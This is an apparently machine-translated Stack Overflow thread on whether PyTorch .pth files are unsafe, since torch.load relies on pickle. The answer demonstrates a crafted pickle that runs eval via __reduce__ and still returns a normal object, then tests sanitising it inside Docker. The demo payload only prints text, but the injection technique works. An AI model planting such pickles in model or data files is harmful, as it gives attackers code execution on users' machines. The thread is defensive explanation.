【问题标题】:Is a .pth file a security risk, and how can we sanitise it?.pth 文件是否存在安全风险,我们如何对其进行清理?
【发布时间】:2021-08-02 04:39:52
【问题描述】:

众所周知,直接加载腌制文件 [不安全][1]。但是,该 SE 帖子上的建议得出的结论是,如果不确定文件的出处,基本上不应该使用腌制文件。

PyTorch 机器学习模型以.pth 文件形式存储在例如 Github 上的公共存储库中,我们想将其用于推理吗?例如,如果我有一个model.pth,我打算用torch.load(model.pth) 加载,是否有必要检查这样做是否安全?假设我别无选择,只能使用模型,应该如何检查它?

鉴于这些模型最终只是权重,我们是否可以使用 PyTorch 创建一个最小的 Docker 容器,在其中加载模型,然后重新保存权重?这是必要的吗,我们应该做什么样的检查(即假设在容器中装载是安全的,应该应用什么样的代码处理来清理模型以进行运输?)。

编辑:对要求澄清的回应:说我有一个model.pth - (1) 我是否需要小心处理它,就像使用 .pkl 一样,因为 .pth 意味着只包含模型权重?或者我可以直接把它扔到torch.load(model.pth)吗? (2) 如果我做不到,我可以在torch.load() 之前做些什么来让您安心?

编辑 2:答案应该特别关注 ML 预训练模型。一个例子:查看模型https://download.pytorch.org/models/resnet34-333f7ec4.pth(警告:从 TorchHub 下载 80 MB - 随意使用另一个 Resnet .pth 模型,但任何清理都需要相当快)。目前我会下载它,然后使用 load_state_dict 将其加载到 PyTorch 中(例如 [here][2] 详细解释)。如果我不知道这是一个安全模型,我怎么能在将其加载到load_state_dict 之前先对其进行消毒?



  [1]: https://stackoverflow.com/questions/25353753/python-can-i-safely-unpickle-untrusted-data
  [2]: https://www.programmersought.com/article/95324315915/

【问题讨论】:

  • 我认为你的问题是合法的。除了没有生产力之外,无声的投票令人沮丧。您需要了解什么是泡菜机制。您的问题可能会转化为是否可以通过将腌制物体再次装载并倾倒到容器中来安全地清洁它?
  • @jlandercy 谢谢。 .pth 据我所知,文件只是 权重 对吗?所以我首先要问它们是否存在安全风险(如.pkl 文件是根据警告)。如果是这样,那么可以做些什么 - 容器只是一个建议......
  • 这就是您所说的问题不符合 SO 标准的原因。该堆栈即将解决实际的编码问题,而不是审查通用工作流程的潜在问题。这可能就是它吸引反对票的原因。要么询问其他 IT 堆栈,要么尝试更具体和面向代码,请参阅minimal reproducible example。无论如何,这是一个非常有趣的问题。
  • 我不同意这种关闭。这似乎与链接的问题非常相似,但有明显的区别,并且似乎适合 SO。为了回答您问题的第一部分,PyTorch 文档说它不安全,因为 torch.load 在内部使用 pickle:pytorch.org/docs/stable/generated/torch.load.html
  • @iacob 好的,但是让我们说创建 repo 的人没有费心为将来从 TorchHub 导入做准备。 Github 上许多可能有用的预训练模型只是 .pth 或 .t7 文件,它们没有被签名或任何东西。

标签: python machine-learning pytorch pickle


【解决方案1】:

正如@MobeusZoom 所指出的,这是关于 Pickle 而不是 PyTorch 格式的答案。无论如何,在这个答案中得出的PyTorch load mechanism relies on Pickle behind the scene 意见仍然适用。

TL;DR;

不要尝试对泡菜进行消毒。信任或拒绝。

引自 Marco Slaviero 在他的演讲中Sour Pickle at the Black Hat USA 2011

真正的解决办法是:

  • 不要与不公平的信任方建立交换;
  • 为交换设置安全传输层;
  • 签署交换文件;

另外请注意,存在基于 AI 的新型攻击,即使 pickle 没有 shellcode,在从不受信任的来源加载预训练网络时,您仍然可能需要解决其他问题。

重要提示

从上面链接的演示文稿中,我们可以得出几个重要的注释:

  • Pickle 使用虚拟机重建实时数据(PVM 与 python 进程一起发生),该虚拟机不是图灵完备的,但具有:指令集(操作码)、用于执行的堆栈和用于托管对象数据的备忘录.这足以让攻击者创建漏洞利用。
  • Pickle 机制是向后兼容的,这意味着最新的 Python 可以取消其协议的第一个版本。
  • Pickle 可以(重新)构造任何对象,只要 PVM 不崩溃,此机制中没有一致性检查来强制对象完整性。
  • 概括地说,Pickle 允许攻击者以任何语言(包括 python)执行 shellcode,这些代码甚至可以在受害程序退出后继续存在。
  • 攻击者通常会伪造他们自己的 pickle,因为它提供了比单纯使用 pickle 机制更大的灵活性。当然,他们可以使用 pickle 作为助手来编写操作码序列。攻击者可以通过两种重要方式制作恶意 pickle 负载:
    • 预先添加要首先执行的 shellcode 并保持 PVM 堆栈干净。然后你可能会在 unpickling 后得到一个正常的对象;
    • 将 shellcode 插入到有效负载中,以便在 unpickling 时执行它并可能与备忘录交互。然后未腌制的对象可能具有额外的功能。
  • 攻击者知道“安全 unpickler”并知道如何规避它们。

MCVE

在下面找到一个非常幼稚的 MCVE,以评估您将清理可疑腌制文件封装在 Docker 容器中的建议。我们将使用它来评估主要的相关风险。请注意,真正的漏洞利用会更加先进和复杂。

考虑下面的两个类,Normal 是您希望解开的:

# normal.py
class Normal:

    def __init__(self, config):
        self.__dict__.update(config)

    def __str__(self):
        return "<Normal %s>" % self.__dict__

Exploit 是其 shellcode 的攻击者容器:

# exploit.py
class Exploit(object):

    def __reduce__(self):
        return (eval, ("print('P@wn%d!')",))

然后,攻击者可以使用pickle作为助手来生成中间有效载荷,以伪造最终的漏洞利用有效载荷:

import pickle
from normal import Normal
from exploit import Exploit

host = Normal({"hello": "world"})
evil = Exploit()

host_payload = pickle.dumps(host, protocol=0) # b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n.'
evil_payload = pickle.dumps(evil, protocol=0) # b'(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.'

此时,攻击者可以制作特定的有效载荷来注入其 shellcode 并返回数据。

with open("inject.pickle", "wb") as handler:
    handler.write(b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.')

现在,当受害者反序列化恶意pickle文件时,漏洞利用被执行并按预期返回一个有效对象:

from normal import Normal
with open("inject.pickle", "rb") as handler:
     data = pickle.load(handler)
print(data)

执行返回:

P@wn%d!
<Normal {'hello': 'world'}>

当然,shellcode 并没有那么明显,你可能没有注意到它已经被执行了。

集装箱清洁剂

现在,让我们按照您的建议尝试清洗这个泡菜。我们将封装如下清洗代码:

# cleaner.py
import pickle
from normal import Normal

with open("inject.pickle", "rb") as handler:
    data = pickle.load(handler)
print(data)

cleaned = Normal(data.__dict__)
with open("cleaned.pickle", "wb") as handler:
    pickle.dump(cleaned, handler)

with open("cleaned.pickle", "rb") as handler:
    recovered = pickle.load(handler)
print(recovered)

进入 Docker 映像以尝试包含其执行。作为基线,我们可以这样做:

FROM python:3.9

ADD ./exploit ./
RUN chown 1001:1001 inject.pickle

USER 1001:1001

CMD ["python3", "./cleaner.py"]

然后我们构建镜像并执行它:

docker build -t jlandercy/doclean:1.0 .
docker run -v /home/jlandercy/exploit:/exploit jlandercy/doclean:1.0

还要确保包含漏洞利用的已安装文件夹具有限制性ad hoc权限。

P@wn%d!
<Normal {'hello': 'world'}> # <-- Shellcode has been executed
<Normal {'hello': 'world'}> # <-- Shellcode has been removed

现在cleaned.pickle 是免费的。当然,你需要在释放清洗过的泡菜之前仔细检查这个假设。

观察

正如你所见,Docker 镜像在 unpickling 时不会阻止漏洞利用的执行,但它可能在一定程度上有助于遏制漏洞利用。

注意点(不详尽):

  • 最近有一个使用原始协议的 pickle 文件是一个提示,但不是可疑的证据。
  • 请注意,即使容器化了,您仍在主机上运行攻击者代码
  • 另外,攻击者可能设计了它的漏洞来破坏 Docker 容器,使用非特权用户来降低风险;
  • 不要将任何网络绑定到此容器,因为攻击者可以启动终端并通过网络接口(并可能暴露给 Web)将其公开;
  • 根据攻击者的设计方式,其漏洞利用数据可能根本不可用。例如,如果__reduce__ 方法实际上返回了漏洞利用而不是重新创建所需实例的配方。毕竟这样做的主要目的是让你不再腌制它;
  • 如果您打算在加载可疑的 pickle 存档后转储原始数据,您需要一个严格的程序来从漏洞利用中分离数据;
  • 清洁步骤可能是一个限制。它依赖于您从恶意负载重新创建预期对象的能力。这将取决于从 pickle 文件中真正重建的内容以及所需的对象构造函数需要如何参数化;
  • 最后,如果您对自己的清理过程有信心,可以挂载一个卷以在容器退出后访问结果。

【讨论】:

  • 例如赞成,但用户询问 pth 文件。 inject.pickle 不是 pth 文件。他们还运行 torch.load 而不是 pickle.load (这可能会或可能不会有所作为)
  • @MobeusZoom,你完全正确,这种机制肯定会比 mcve 复杂。但我认为观察结果将保持真实,因为在幕后调用了泡菜。我很乐意深入分析这个问题,因为我认为这个问题非常有趣。无论如何,我目前在 pytorch 框架上缺乏时间和经验。
  • @jlandercy 谢谢,这是一个非常好的开始!您能否详细说明“从漏洞利用中分离数据的程序” - 这应该涉及什么?
  • @VainmondeDeCourtenay,我已将 MCVE 重构为更真实,并添加了额外的感兴趣信息。它解决了你的问题吗?干杯
  • @jlandercy 从安全/解封的角度来看,这是一篇非常有用的帖子。它应该对任何想要处理泡菜文件的人都非常有用。但是,我的问题专门针对预训练的 ML 模型。如果您能提供一些特定于他们的信息会很好,例如,您将如何处理这个.pth 文件:download.pytorch.org/models/resnet34-333f7ec4.pth。在这种情况下,它来自 TorchHub,即著名的 Resnet。但假装你不知道……
猜你喜欢
  • 2012-02-18
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多